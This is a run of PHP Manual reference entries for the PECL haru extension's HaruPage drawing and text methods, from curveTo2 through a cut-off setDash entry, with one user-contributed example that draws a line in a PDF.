  • Append a Bezier curve to the current path

HaruPage::curveTo2

(PECL haru >= 0.0.1)

HaruPage::curveTo2 — Append a Bezier curve to the current path

Description

bool HaruPage::curveTo2 ( float $x2 , float $y2 , float $x3 , float $y3 )

Appends a Bezier curve to the current path. The current point and the point (x2, y2) are used as the control points for the Bezier curve and current point is moved to the point (x3, y3).

Parameters

x2

A Bezier curve control point.

y2

A Bezier curve control point.

x3

The current point moves here.

x3

The current point moves here.

Return Values

Returns TRUE on success.

Errors/Exceptions

Throws a HaruException on error.

User Contributed Notes

There are no user contributed notes for this page.


Append a Bezier curve to the current path

  • « HaruPage::curveTo2
  • HaruPage::curveTo »
  • PHP Manual
  • HaruPage
  • Append a Bezier curve to the current path

HaruPage::curveTo3

(PECL haru >= 0.0.1)

HaruPage::curveTo3 — Append a Bezier curve to the current path

Description

bool HaruPage::curveTo3 ( float $x1 , float $y1 , float $x3 , float $y3 )

Appends a Bezier curve to the current path. The point (x1, y1) and the point (x3, y3) are used as the control points for a Bezier curve and current point is moved to the point (x3, y3).

Parameters

x1

A Bezier curve control point.

y1

A Bezier curve control point.

x3

The current point moves here.

x3

The current point moves here.

Return Values

Returns TRUE on success.

Errors/Exceptions

Throws a HaruException on error.

User Contributed Notes

There are no user contributed notes for this page.


Append a Bezier curve to the current path

  • « HaruPage::curveTo3
  • HaruPage::drawImage »
  • PHP Manual
  • HaruPage
  • Append a Bezier curve to the current path

HaruPage::curveTo

(PECL haru >= 0.0.1)

HaruPage::curveTo — Append a Bezier curve to the current path

Description

bool HaruPage::curveTo ( float $x1 , float $y1 , float $x2 , float $y2 , float $x3 , float $y3 )

Append a Bezier curve to the current path. The point (x1, y1) and the point (x2, y2) are used as the control points for a Bezier curve and current point is moved to the point (x3, y3).

Parameters

x1

A Bezier curve control point.

y1

A Bezier curve control point.

x2

A Bezier curve control point.

y2

A Bezier curve control point.

x3

The current point moves here.

x3

The current point moves here.

Return Values

Returns TRUE on success.

Errors/Exceptions

Throws a HaruException on error.

User Contributed Notes

There are no user contributed notes for this page.


Show image at the page

  • « HaruPage::curveTo
  • HaruPage::ellipse »
  • PHP Manual
  • HaruPage
  • Show image at the page

HaruPage::drawImage

(PECL haru >= 0.0.1)

HaruPage::drawImage — Show image at the page

Description

bool HaruPage::drawImage ( object $image , float $x , float $y , float $width , float $height )

Show image at the page.

Parameters

image

Valid HaruImage instance.

x

The left border of the area where the image is displayed.

y

The lower border of the area where the image is displayed.

width

The width of the image area.

height

The height of the image area.

Return Values

Returns TRUE on success.

Errors/Exceptions

Throws a HaruException on error.

User Contributed Notes

There are no user contributed notes for this page.


Append an ellipse to the current path

  • « HaruPage::drawImage
  • HaruPage::endPath »
  • PHP Manual
  • HaruPage
  • Append an ellipse to the current path

HaruPage::ellipse

(PECL haru >= 0.0.1)

HaruPage::ellipse — Append an ellipse to the current path

Description

bool HaruPage::ellipse ( float $x , float $y , float $xray , float $yray )

Appends an ellipse to the current path.

Parameters

x

Horizontal coordinate of the center.

y

Vertical coordinate of the center.

xray

The ray of the ellipse in the x direction.

yray

The ray of the ellipse in the y direction.

Return Values

Returns TRUE on success.

Errors/Exceptions

Throws a HaruException on error.

User Contributed Notes

There are no user contributed notes for this page.


End current path object without filling and painting operations

  • « HaruPage::ellipse
  • HaruPage::endText »
  • PHP Manual
  • HaruPage
  • End current path object without filling and painting operations

HaruPage::endPath

(PECL haru >= 0.0.1)

HaruPage::endPath — End current path object without filling and painting operations

Description

bool HaruPage::endPath ( void )

Ends current path object without performing filling and painting operations.

Parameters

This function has no parameters.

Return Values

Returns TRUE on success.

Errors/Exceptions

Throws a HaruException on error.

User Contributed Notes

There are no user contributed notes for this page.


End current text object

  • « HaruPage::endPath
  • HaruPage::eofill »
  • PHP Manual
  • HaruPage
  • End current text object

HaruPage::endText

(PECL haru >= 0.0.1)

HaruPage::endText — End current text object

Description

bool HaruPage::endText ( void )

Finalizes current text object.

Parameters

This function has no parameters.

Return Values

Returns TRUE on success.

Errors/Exceptions

Throws a HaruException on error.

User Contributed Notes

There are no user contributed notes for this page.


Fill current path using even-odd rule

  • « HaruPage::endText
  • HaruPage::eoFillStroke »
  • PHP Manual
  • HaruPage
  • Fill current path using even-odd rule

HaruPage::eofill

(PECL haru >= 0.0.1)

HaruPage::eofill — Fill current path using even-odd rule

Description

bool HaruPage::eofill ( void )

Fills current path using even-odd rule.

Parameters

This function has no parameters.

Return Values

Returns TRUE on success.

Errors/Exceptions

Throws a HaruException on error.

User Contributed Notes

There are no user contributed notes for this page.


Fill current path using even-odd rule, then paint the path

  • « HaruPage::eofill
  • HaruPage::fill »
  • PHP Manual
  • HaruPage
  • Fill current path using even-odd rule, then paint the path

HaruPage::eoFillStroke

(PECL haru >= 0.0.1)

HaruPage::eoFillStroke — Fill current path using even-odd rule, then paint the path

Description

bool HaruPage::eoFillStroke ([ bool $close_path = false ] )

Fills current path using even-odd rule, then paints the path.

Parameters

close_path

Optional parameter. When set to TRUE, the function closes the current path. Default to FALSE.

Return Values

Returns TRUE on success.

Errors/Exceptions

Throws a HaruException on error.

User Contributed Notes

There are no user contributed notes for this page.


Fill current path using nonzero winding number rule

  • « HaruPage::eoFillStroke
  • HaruPage::fillStroke »
  • PHP Manual
  • HaruPage
  • Fill current path using nonzero winding number rule

HaruPage::fill

(PECL haru >= 0.0.1)

HaruPage::fill — Fill current path using nonzero winding number rule

Description

bool HaruPage::fill ( void )

Fills current path using nonzero winding number rule.

Parameters

This function has no parameters.

Return Values

Returns TRUE on success.

Errors/Exceptions

Throws a HaruException on error.

User Contributed Notes

There are no user contributed notes for this page.


Fill current path using nonzero winding number rule, then paint the path

  • « HaruPage::fill
  • HaruPage::getCharSpace »
  • PHP Manual
  • HaruPage
  • Fill current path using nonzero winding number rule, then paint the path

HaruPage::fillStroke

(PECL haru >= 0.0.1)

HaruPage::fillStroke — Fill current path using nonzero winding number rule, then paint the path

Description

bool HaruPage::fillStroke ([ bool $close_path = false ] )

Fills current path using nonzero winding number rule, then paints the path.

Parameters

close_path

Optional parameter. When set to TRUE, the function closes the current path. Default to FALSE.

Return Values

Returns TRUE on success.

Errors/Exceptions

Throws a HaruException on error.

User Contributed Notes

There are no user contributed notes for this page.


Get the current value of character spacing

  • « HaruPage::fillStroke
  • HaruPage::getCMYKFill »
  • PHP Manual
  • HaruPage
  • Get the current value of character spacing

HaruPage::getCharSpace

(PECL haru >= 0.0.1)

HaruPage::getCharSpace — Get the current value of character spacing

Description

float HaruPage::getCharSpace ( void )

Get the current value of character spacing.

Parameters

This function has no parameters.

Return Values

Returns the current value of character spacing.

Errors/Exceptions

Throws a HaruException on error.

User Contributed Notes

There are no user contributed notes for this page.


Get the current filling color

  • « HaruPage::getCharSpace
  • HaruPage::getCMYKStroke »
  • PHP Manual
  • HaruPage
  • Get the current filling color

HaruPage::getCMYKFill

(PECL haru >= 0.0.1)

HaruPage::getCMYKFill — Get the current filling color

Description

array HaruPage::getCMYKFill ( void )

Returns the current filling color.

Parameters

This function has no parameters.

Return Values

Returns the current filling color as an array with 4 elements ("c", "m", "y" and "k").

Errors/Exceptions

Throws a HaruException on error.

User Contributed Notes

There are no user contributed notes for this page.


Get the current stroking color

  • « HaruPage::getCMYKFill
  • HaruPage::getCurrentFont »
  • PHP Manual
  • HaruPage
  • Get the current stroking color

HaruPage::getCMYKStroke

(PECL haru >= 0.0.1)

HaruPage::getCMYKStroke — Get the current stroking color

Description

array HaruPage::getCMYKStroke ( void )

Get the current stroking color.

Parameters

This function has no parameters.

Return Values

Returns the current stroking color as an array with 4 elements ("c", "m", "y" and "k").

Errors/Exceptions

Throws a HaruException on error.

User Contributed Notes

There are no user contributed notes for this page.


Get the currently used font

  • « HaruPage::getCMYKStroke
  • HaruPage::getCurrentFontSize »
  • PHP Manual
  • HaruPage
  • Get the currently used font

HaruPage::getCurrentFont

(PECL haru >= 0.0.1)

HaruPage::getCurrentFont — Get the currently used font

Description

object HaruPage::getCurrentFont ( void )

Get the currently used font.

Parameters

This function has no parameters.

Return Values

Returns the currently used font as an instance of HaruFont.

Errors/Exceptions

Throws a HaruException on error.

User Contributed Notes

There are no user contributed notes for this page.


Get the current font size

  • « HaruPage::getCurrentFont
  • HaruPage::getCurrentPos »
  • PHP Manual
  • HaruPage
  • Get the current font size

HaruPage::getCurrentFontSize

(PECL haru >= 0.0.1)

HaruPage::getCurrentFontSize — Get the current font size

Description

float HaruPage::getCurrentFontSize ( void )

Get the current font size.

Parameters

This function has no parameters.

Return Values

Returns the current font size.

Errors/Exceptions

Throws a HaruException on error.

User Contributed Notes

There are no user contributed notes for this page.


Get the current position for path painting

  • « HaruPage::getCurrentFontSize
  • HaruPage::getCurrentTextPos »
  • PHP Manual
  • HaruPage
  • Get the current position for path painting

HaruPage::getCurrentPos

(PECL haru >= 0.0.1)

HaruPage::getCurrentPos — Get the current position for path painting

Description

array HaruPage::getCurrentPos ( void )

Get the current position for path painting.

Parameters

This function has no parameters.

Return Values

Returns the current position for path painting as an array of with two elements - "x" and "y".

Errors/Exceptions

Throws a HaruException on error.

User Contributed Notes

There are no user contributed notes for this page.


Get the current position for text printing

  • « HaruPage::getCurrentPos
  • HaruPage::getDash »
  • PHP Manual
  • HaruPage
  • Get the current position for text printing

HaruPage::getCurrentTextPos

(PECL haru >= 0.0.1)

HaruPage::getCurrentTextPos — Get the current position for text printing

Description

array HaruPage::getCurrentTextPos ( void )

Get the current position for text printing.

Parameters

This function has no parameters.

Return Values

Returns the current position for text printing as an array with 2 elements - "x" and "y".

Errors/Exceptions

Throws a HaruException on error.

User Contributed Notes

There are no user contributed notes for this page.


Get the current dash pattern

  • « HaruPage::getCurrentTextPos
  • HaruPage::getFillingColorSpace »
  • PHP Manual
  • HaruPage
  • Get the current dash pattern

HaruPage::getDash

(PECL haru >= 0.0.1)

HaruPage::getDash — Get the current dash pattern

Description

array HaruPage::getDash ( void )

Get the current dash pattern. See HaruPage::setDash() for more information on dash patterns.

Parameters

This function has no parameters.

Return Values

Returns the current dash pattern as an array of two elements - "pattern" and "phase" or FALSE if dash pattern was not set.

Errors/Exceptions

Throws a HaruException on error.

See Also

  • HaruPage::setDash() - Set the dash pattern for the page

User Contributed Notes

There are no user contributed notes for this page.


Get the current filling color space

  • « HaruPage::getDash
  • HaruPage::getFlatness »
  • PHP Manual
  • HaruPage
  • Get the current filling color space

HaruPage::getFillingColorSpace

(PECL haru >= 0.0.1)

HaruPage::getFillingColorSpace — Get the current filling color space

Description

int HaruPage::getFillingColorSpace ( void )

Get the current filling color space.

Parameters

This function has no parameters.

Return Values

Returns the current filling color space. The result value is one of the following:

  • HaruDoc::CS_DEVICE_GRAY
  • HaruDoc::CS_DEVICE_RGB
  • HaruDoc::CS_DEVICE_CMYK
  • HaruDoc::CS_CAL_GRAY
  • HaruDoc::CS_CAL_RGB
  • HaruDoc::CS_LAB
  • HaruDoc::CS_ICC_BASED
  • HaruDoc::CS_SEPARATION
  • HaruDoc::CS_DEVICE_N
  • HaruDoc::CS_INDEXED
  • HaruDoc::CS_PATTERN

Errors/Exceptions

Throws a HaruException on error.

User Contributed Notes

There are no user contributed notes for this page.


Get the flatness of the page

  • « HaruPage::getFillingColorSpace
  • HaruPage::getGMode »
  • PHP Manual
  • HaruPage
  • Get the flatness of the page

HaruPage::getFlatness

(PECL haru >= 0.0.1)

HaruPage::getFlatness — Get the flatness of the page

Description

float HaruPage::getFlatness ( void )

Get the flatness of the page.

Parameters

This function has no parameters.

Return Values

Returns the flatness of the page.

Errors/Exceptions

Throws a HaruException on error.

See Also

  • HaruPage::setFlatness() - Set flatness for the page

User Contributed Notes

There are no user contributed notes for this page.


Get the current graphics mode

  • « HaruPage::getFlatness
  • HaruPage::getGrayFill »
  • PHP Manual
  • HaruPage
  • Get the current graphics mode

HaruPage::getGMode

(PECL haru >= 0.0.1)

HaruPage::getGMode — Get the current graphics mode

Description

int HaruPage::getGMode ( void )

Get the current graphics mode.

Parameters

This function has no parameters.

Return Values

Returns the current graphics mode. The result value is one of the following:

  • HaruPage::GMODE_PAGE_DESCRIPTION
  • HaruPage::GMODE_TEXT_OBJECT
  • HaruPage::GMODE_PATH_OBJECT
  • HaruPage::GMODE_CLIPPING_PATH
  • HaruPage::GMODE_SHADING
  • HaruPage::GMODE_INLINE_IMAGE
  • HaruPage::GMODE_EXTERNAL_OBJECT

Errors/Exceptions

Throws a HaruException on error.

User Contributed Notes

There are no user contributed notes for this page.


Get the current filling color

  • « HaruPage::getGMode
  • HaruPage::getGrayStroke »
  • PHP Manual
  • HaruPage
  • Get the current filling color

HaruPage::getGrayFill

(PECL haru >= 0.0.1)

HaruPage::getGrayFill — Get the current filling color

Description

float HaruPage::getGrayFill ( void )

Get the current filling color.

Parameters

This function has no parameters.

Return Values

Returns the current filling color.

Errors/Exceptions

Throws a HaruException on error.

See Also

  • HaruPage::setGrayFill() - Set filling color for the page

User Contributed Notes

There are no user contributed notes for this page.


Get the current stroking color

  • « HaruPage::getGrayFill
  • HaruPage::getHeight »
  • PHP Manual
  • HaruPage
  • Get the current stroking color

HaruPage::getGrayStroke

(PECL haru >= 0.0.1)

HaruPage::getGrayStroke — Get the current stroking color

Description

float HaruPage::getGrayStroke ( void )

Get the current stroking color.

Parameters

This function has no parameters.

Return Values

Returns the current stroking color.

Errors/Exceptions

Throws a HaruException on error.

See Also

  • HaruPage::setGrayStroke() - Sets stroking color for the page

User Contributed Notes

There are no user contributed notes for this page.


Get the height of the page

  • « HaruPage::getGrayStroke
  • HaruPage::getHorizontalScaling »
  • PHP Manual
  • HaruPage
  • Get the height of the page

HaruPage::getHeight

(PECL haru >= 0.0.1)

HaruPage::getHeight — Get the height of the page

Description

float HaruPage::getHeight ( void )

Get the height of the page.

Parameters

This function has no parameters.

Return Values

Returns the height of the page.

Errors/Exceptions

Throws a HaruException on error.

See Also

  • HaruPage::setHeight() - Set height of the page

User Contributed Notes

There are no user contributed notes for this page.


Get the current value of horizontal scaling

  • « HaruPage::getHeight
  • HaruPage::getLineCap »
  • PHP Manual
  • HaruPage
  • Get the current value of horizontal scaling

HaruPage::getHorizontalScaling

(PECL haru >= 0.0.1)

HaruPage::getHorizontalScaling — Get the current value of horizontal scaling

Description

float HaruPage::getHorizontalScaling ( void )

Get the current value of the horizontal scaling.

Parameters

This function has no parameters.

Return Values

Returns the current value of horizontal scaling.

Errors/Exceptions

Throws a HaruException on error.

See Also

  • HaruPage::setHorizontalScaling() - Set horizontal scaling for the page

User Contributed Notes

There are no user contributed notes for this page.


Get the current line cap style

  • « HaruPage::getHorizontalScaling
  • HaruPage::getLineJoin »
  • PHP Manual
  • HaruPage
  • Get the current line cap style

HaruPage::getLineCap

(PECL haru >= 0.0.1)

HaruPage::getLineCap — Get the current line cap style

Description

int HaruPage::getLineCap ( void )

Get the current line cap style.

Parameters

This function has no parameters.

Return Values

Returns the current line cap style. The result value is one of the following:

  • HaruPage::BUTT_END - the line is squared off at the endpoint of the path.
  • HaruPage::ROUND_END - the end of the line becomes a semicircle with center in the end point of the path.
  • HaruPage::PROJECTING_SCUARE_END - the line continues to the point that exceeds half of the stroke width the end point.

Errors/Exceptions

Throws a HaruException on error.

See Also

  • HaruPage::setLineCap() - Set the shape to be used at the ends of lines

User Contributed Notes

There are no user contributed notes for this page.


Get the current line join style

  • « HaruPage::getLineCap
  • HaruPage::getLineWidth »
  • PHP Manual
  • HaruPage
  • Get the current line join style

HaruPage::getLineJoin

(PECL haru >= 0.0.1)

HaruPage::getLineJoin — Get the current line join style

Description

int HaruPage::getLineJoin ( void )

Get the current line join style.

Parameters

This function has no parameters.

Return Values

Returns the current line join style. The result value is one of the following:

  • HaruPage::MITER_JOIN
  • HaruPage::ROUND_JOIN
  • HaruPage::BEVEL_JOIN

Errors/Exceptions

Throws a HaruException on error.

See Also

  • HaruPage::setLineJoin() - Set line join style for the page

User Contributed Notes

There are no user contributed notes for this page.


Get the current line width

  • « HaruPage::getLineJoin
  • HaruPage::getMiterLimit »
  • PHP Manual
  • HaruPage
  • Get the current line width

HaruPage::getLineWidth

(PECL haru >= 0.0.1)

HaruPage::getLineWidth — Get the current line width

Description

float HaruPage::getLineWidth ( void )

Get the current line width.

Parameters

This function has no parameters.

Return Values

Returns the current line width.

Errors/Exceptions

Throws a HaruException on error.

See Also

  • HaruPage::setLineWidth() - Set line width for the page

User Contributed Notes

There are no user contributed notes for this page.


Get the value of miter limit

  • « HaruPage::getLineWidth
  • HaruPage::getRGBFill »
  • PHP Manual
  • HaruPage
  • Get the value of miter limit

HaruPage::getMiterLimit

(PECL haru >= 0.0.1)

HaruPage::getMiterLimit — Get the value of miter limit

Description

float HaruPage::getMiterLimit ( void )

Get the value of the miter limit.

Parameters

This function has no parameters.

Return Values

Returns the value of the miter limit.

Errors/Exceptions

Throws a HaruException on error.

See Also

  • HaruPage::setMiterLimit() - Set the current value of the miter limit of the page

User Contributed Notes

There are no user contributed notes for this page.


Get the current filling color

  • « HaruPage::getMiterLimit
  • HaruPage::getRGBStroke »
  • PHP Manual
  • HaruPage
  • Get the current filling color

HaruPage::getRGBFill

(PECL haru >= 0.0.1)

HaruPage::getRGBFill — Get the current filling color

Description

array HaruPage::getRGBFill ( void )

Get the current filling color.

Parameters

This function has no parameters.

Return Values

Returns the current filling color as an array with 3 elements: "r", "g" and "b".

Errors/Exceptions

Throws a HaruException on error.

See Also

  • HaruPage::setRGBFill() - Set filling color for the page

User Contributed Notes

There are no user contributed notes for this page.


Get the current stroking color

  • « HaruPage::getRGBFill
  • HaruPage::getStrokingColorSpace »
  • PHP Manual
  • HaruPage
  • Get the current stroking color

HaruPage::getRGBStroke

(PECL haru >= 0.0.1)

HaruPage::getRGBStroke — Get the current stroking color

Description

array HaruPage::getRGBStroke ( void )

Get the current stroking color.

Parameters

This function has no parameters.

Return Values

Returns the current stroking color.

Errors/Exceptions

Throws a HaruException on error.

See Also

  • HaruPage::setRGBStroke() - Set stroking color for the page

User Contributed Notes

There are no user contributed notes for this page.


Get the current stroking color space

  • « HaruPage::getRGBStroke
  • HaruPage::getTextLeading »
  • PHP Manual
  • HaruPage
  • Get the current stroking color space

HaruPage::getStrokingColorSpace

(PECL haru >= 0.0.1)

HaruPage::getStrokingColorSpace — Get the current stroking color space

Description

int HaruPage::getStrokingColorSpace ( void )

Get the current stroking color space.

Parameters

This function has no parameters.

Return Values

Returns the current stroking color space. The list of return values is the same as for HaruPage::getFillingColorSpace()

Errors/Exceptions

Throws a HaruException on error.

See Also

  • HaruPage::getFillingColorSpace() - Get the current filling color space

User Contributed Notes

There are no user contributed notes for this page.


Get the current value of line spacing

  • « HaruPage::getStrokingColorSpace
  • HaruPage::getTextMatrix »
  • PHP Manual
  • HaruPage
  • Get the current value of line spacing

HaruPage::getTextLeading

(PECL haru >= 0.0.1)

HaruPage::getTextLeading — Get the current value of line spacing

Description

float HaruPage::getTextLeading ( void )

Get the current value of line spacing.

Parameters

This function has no parameters.

Return Values

Returns the current value of line spacing.

Errors/Exceptions

Throws a HaruException on error.

See Also

  • HaruPage::setTextLeading() - Set text leading (line spacing) for the page

User Contributed Notes

There are no user contributed notes for this page.


Get the current text transformation matrix of the page

  • « HaruPage::getTextLeading
  • HaruPage::getTextRenderingMode »
  • PHP Manual
  • HaruPage
  • Get the current text transformation matrix of the page

HaruPage::getTextMatrix

(PECL haru >= 0.0.1)

HaruPage::getTextMatrix — Get the current text transformation matrix of the page

Description

array HaruPage::getTextMatrix ( void )

Get the current text transformation matrix of the page.

Return Values

Returns the current text transformation matrix of the page as an array of 6 elements: "a", "b", "c", "d", "x" and "y".

Errors/Exceptions

Throws a HaruException on error.

See Also

  • HaruPage::setTextMatrix() - Set the current text transformation matrix of the page

User Contributed Notes

There are no user contributed notes for this page.


Get the current text rendering mode

  • « HaruPage::getTextMatrix
  • HaruPage::getTextRise »
  • PHP Manual
  • HaruPage
  • Get the current text rendering mode

HaruPage::getTextRenderingMode

(PECL haru >= 0.0.1)

HaruPage::getTextRenderingMode — Get the current text rendering mode

Description

int HaruPage::getTextRenderingMode ( void )

Get the current text rendering mode.

Parameters

This function has no parameters.

Return Values

Returns the current text rendering mode. The result value is one of the following:

  • HaruPage::FILL
  • HaruPage::STROKE
  • HaruPage::FILL_THEN_STROKE
  • HaruPage::INVISIBLE
  • HaruPage::FILL_CLIPPING
  • HaruPage::STROKE_CLIPPING
  • HaruPage::FILL_STROKE_CLIPPING
  • HaruPage::CLIPPING

Errors/Exceptions

Throws a HaruException on error.

See Also

  • HaruPage::setTextRenderingMode() - Set text rendering mode for the page

User Contributed Notes

There are no user contributed notes for this page.


Get the current value of text rising

  • « HaruPage::getTextRenderingMode
  • HaruPage::getTextWidth »
  • PHP Manual
  • HaruPage
  • Get the current value of text rising

HaruPage::getTextRise

(PECL haru >= 0.0.1)

HaruPage::getTextRise — Get the current value of text rising

Description

float HaruPage::getTextRise ( void )

Get the current value of text rising.

Parameters

This function has no parameters.

Return Values

Returns the current value of text rising.

Errors/Exceptions

Throws a HaruException on error.

See Also

  • HaruPage::setTextRise() - Set the current value of text rising

User Contributed Notes

There are no user contributed notes for this page.


Get the width of the text using current fontsize, character spacing and word spacing

  • « HaruPage::getTextRise
  • HaruPage::getTransMatrix »
  • PHP Manual
  • HaruPage
  • Get the width of the text using current fontsize, character spacing and word spacing

HaruPage::getTextWidth

(PECL haru >= 0.0.1)

HaruPage::getTextWidth — Get the width of the text using current fontsize, character spacing and word spacing

Description

float HaruPage::getTextWidth ( string $text )

Get the width of the text using current fontsize, character spacing and word spacing

Parameters

text

The text to measure.

Return Values

Returns the width of the text using current fontsize, character spacing and word spacing.

Errors/Exceptions

Throws a HaruException on error.

See Also

  • HaruPage::measureText() - Calculate the number of characters which can be included within the specified width

User Contributed Notes

There are no user contributed notes for this page.


Get the current transformation matrix of the page

  • « HaruPage::getTextWidth
  • HaruPage::getWidth »
  • PHP Manual
  • HaruPage
  • Get the current transformation matrix of the page

HaruPage::getTransMatrix

(PECL haru >= 0.0.1)

HaruPage::getTransMatrix — Get the current transformation matrix of the page

Description

array HaruPage::getTransMatrix ( void )

Get the current transformation matrix of the page.

Parameters

This function has no parameters.

Return Values

Returns the current transformation matrix of the page as an array of 6 elements: "a", "b", "c", "d", "x" and "y".

Errors/Exceptions

Throws a HaruException on error.

See Also

  • HaruPage::concat() - Concatenate current transformation matrix of the page and the specified matrix

User Contributed Notes

There are no user contributed notes for this page.


Get the width of the page

  • « HaruPage::getTransMatrix
  • HaruPage::getWordSpace »
  • PHP Manual
  • HaruPage
  • Get the width of the page

HaruPage::getWidth

(PECL haru >= 0.0.1)

HaruPage::getWidth — Get the width of the page

Description

float HaruPage::getWidth ( void )

Get the width of the page.

Parameters

This function has no parameters.

Return Values

Returns the width of the page.

Errors/Exceptions

Throws a HaruException on error.

See Also

  • HaruPage::setWidth() - Set width of the page

User Contributed Notes

There are no user contributed notes for this page.


Get the current value of word spacing

  • « HaruPage::getWidth
  • HaruPage::lineTo »
  • PHP Manual
  • HaruPage
  • Get the current value of word spacing

HaruPage::getWordSpace

(PECL haru >= 0.0.1)

HaruPage::getWordSpace — Get the current value of word spacing

Description

float HaruPage::getWordSpace ( void )

Get the current value of word spacing.

Parameters

This function has no parameters.

Return Values

Returns the current value of word spacing.

Errors/Exceptions

Throws a HaruException on error.

See Also

  • HaruPage::setWordSpace() - Set word spacing for the page

User Contributed Notes

There are no user contributed notes for this page.


Draw a line from the current point to the specified point

  • « HaruPage::getWordSpace
  • HaruPage::measureText »
  • PHP Manual
  • HaruPage
  • Draw a line from the current point to the specified point

HaruPage::lineTo

(PECL haru >= 0.0.1)

HaruPage::lineTo — Draw a line from the current point to the specified point

Description

bool HaruPage::lineTo ( float $x , float $y )

Draws a line from the current point to the specified point.

Parameters

x

y

Return Values

Returns TRUE on success.

Errors/Exceptions

Throws a HaruException on error.

See Also

  • HaruPage::curveTo() - Append a Bezier curve to the current path
  • HaruPage::curveTo2() - Append a Bezier curve to the current path
  • HaruPage::curveTo3() - Append a Bezier curve to the current path

User Contributed Notes

aku at syuaa dot net 09-Jun-2011 08:38
Here i show a simple example for this Line to.

<?php
$doc=new HaruDoc;

$page=$doc->addPage();
$page->setSize(HaruPage::SIZE_A4, HaruPage::PORTRAIT);

$page->setRGBStroke(0,0,0); // Set color to black
$page->setRGBFill(1,1,1); // Set fill to 100% for each rgb color
$page->moveTo(60, 100); // Move cursor to x 60, y 100
$page->lineTo(60,500); // Create line from x 60, y100 to x60, y500
$page->fillStroke();

//Output
header('Content-Type: application/pdf');
$doc->output();
?>


Calculate the number of characters which can be included within the specified width

  • « HaruPage::lineTo
  • HaruPage::moveTextPos »
  • PHP Manual
  • HaruPage
  • Calculate the number of characters which can be included within the specified width

HaruPage::measureText

(PECL haru >= 0.0.1)

HaruPage::measureText — Calculate the number of characters which can be included within the specified width

Description

int HaruPage::measureText ( string $text , float $width [, bool $wordwrap = false ] )

Get the number of characters which can be included within the specified width.

Parameters

text

The text to measure.

width

The width of the area to put the text to.

wordwrap

When this parameter is set to TRUE the function "emulates" word wrapping and doesn't include the part of the current word if reached the end of the area.

Return Values

Returns the number of characters which can be included within the specified width.

Errors/Exceptions

Throws a HaruException on error.

See Also

  • HaruFont::measureText() - Calculate the number of characters which can be included within the specified width

User Contributed Notes

There are no user contributed notes for this page.


Move text position to the specified offset

  • « HaruPage::measureText
  • HaruPage::moveTo »
  • PHP Manual
  • HaruPage
  • Move text position to the specified offset

HaruPage::moveTextPos

(PECL haru >= 0.0.1)

HaruPage::moveTextPos — Move text position to the specified offset

Description

bool HaruPage::moveTextPos ( float $x , float $y [, bool $set_leading = false ] )

Moves text position to the specified offset. If the start position of the current line is (x1, y1), the start of the next line is (x1 + x, y1 + y).

Parameters

x

The specified text position offset.

y

The specified text position offset.

set_leading

If set to TRUE, the function sets the text leading to -y.

Return Values

Returns TRUE on success.

Errors/Exceptions

Throws a HaruException on error.

See Also

  • HaruPage::moveToNextLine() - Move text position to the start of the next line

User Contributed Notes

There are no user contributed notes for this page.


Set starting point for new drawing path

  • « HaruPage::moveTextPos
  • HaruPage::moveToNextLine »
  • PHP Manual
  • HaruPage
  • Set starting point for new drawing path

HaruPage::moveTo

(PECL haru >= 0.0.1)

HaruPage::moveTo — Set starting point for new drawing path

Description

bool HaruPage::moveTo ( float $x , float $y )

Defines starting point for new drawing path.

Parameters

x

A new starting point coordinate.

y

A new starting point coordinate.

Return Values

Returns TRUE on success.

Errors/Exceptions

Throws a HaruException on error.

User Contributed Notes

There are no user contributed notes for this page.


Move text position to the start of the next line

  • « HaruPage::moveTo
  • HaruPage::rectangle »
  • PHP Manual
  • HaruPage
  • Move text position to the start of the next line

HaruPage::moveToNextLine

(PECL haru >= 0.0.1)

HaruPage::moveToNextLine — Move text position to the start of the next line

Description

bool HaruPage::moveToNextLine ( void )

Moves text position to the start of the next line.

Parameters

This function has no parameters.

Return Values

Returns TRUE on success.

Errors/Exceptions

Throws a HaruException on error.

See Also

  • HaruPage::moveTextPos() - Move text position to the specified offset

User Contributed Notes

There are no user contributed notes for this page.


Append a rectangle to the current path

  • « HaruPage::moveToNextLine
  • HaruPage::setCharSpace »
  • PHP Manual
  • HaruPage
  • Append a rectangle to the current path

HaruPage::rectangle

(PECL haru >= 0.0.1)

HaruPage::rectangle — Append a rectangle to the current path

Description

bool HaruPage::rectangle ( float $x , float $y , float $width , float $height )

Appends a rectangle to the current drawing path.

Parameters

x

The left border of the rectangle.

y

The lower border of the rectangle.

width

The width of the rectangle.

height

The height of the rectangle.

Return Values

Returns TRUE on success.

Errors/Exceptions

Throws a HaruException on error.

User Contributed Notes

There are no user contributed notes for this page.


Set character spacing for the page

  • « HaruPage::rectangle
  • HaruPage::setCMYKFill »
  • PHP Manual
  • HaruPage
  • Set character spacing for the page

HaruPage::setCharSpace

(PECL haru >= 0.0.1)

HaruPage::setCharSpace — Set character spacing for the page

Description

bool HaruPage::setCharSpace ( float $char_space )

Defines character spacing for the page.

Parameters

char_space

The new character spacing for the page.

Return Values

Returns TRUE on success.

Errors/Exceptions

Throws a HaruException on error.

See Also

  • HaruPage::getCharSpace() - Get the current value of character spacing

User Contributed Notes

There are no user contributed notes for this page.


Set filling color for the page

  • « HaruPage::setCharSpace
  • HaruPage::setCMYKStroke »
  • PHP Manual
  • HaruPage
  • Set filling color for the page

HaruPage::setCMYKFill

(PECL haru >= 0.0.1)

HaruPage::setCMYKFill — Set filling color for the page

Description

bool HaruPage::setCMYKFill ( float $c , float $m , float $y , float $k )

Defines filling color for the page.

Parameters

c

m

y

k

Return Values

Returns TRUE on success.

Errors/Exceptions

Throws a HaruException on error.

See Also

  • HaruPage::getCMYKFill() - Get the current filling color

User Contributed Notes

There are no user contributed notes for this page.


Set stroking color for the page

  • « HaruPage::setCMYKFill
  • HaruPage::setDash »
  • PHP Manual
  • HaruPage
  • Set stroking color for the page

HaruPage::setCMYKStroke

(PECL haru >= 0.0.1)

HaruPage::setCMYKStroke — Set stroking color for the page

Description

bool HaruPage::setCMYKStroke ( float $c , float $m , float $y , float $k )

Defines stroking color for the page.

Parameters

c

m

y

k

Return Values

Returns TRUE on success.

Errors/Exceptions

Throws a HaruException on error.

See Also

  • HaruPage::getCMYKStroke() - Get the current stroking color

User Contributed Notes

There are no user contributed notes for this page.


Set the dash pattern for the page

  • « HaruPage::setCMYKStroke
  • HaruPage::setFlatness »
  • PHP Manual
  • HaruPage
  • Set the dash pattern for the page

HaruPage::setDash

(PECL haru >= 0.0.1)

HaruPage::setDash — Set the dash pattern for the page

Description

bool HaruPage::setDash ( array $pattern , int $phase )

Defines the dash pattern for the page.

Parameters

pattern

An array (8 elements max) which contains a pattern of dashes and gaps used for lines on the page.

phase

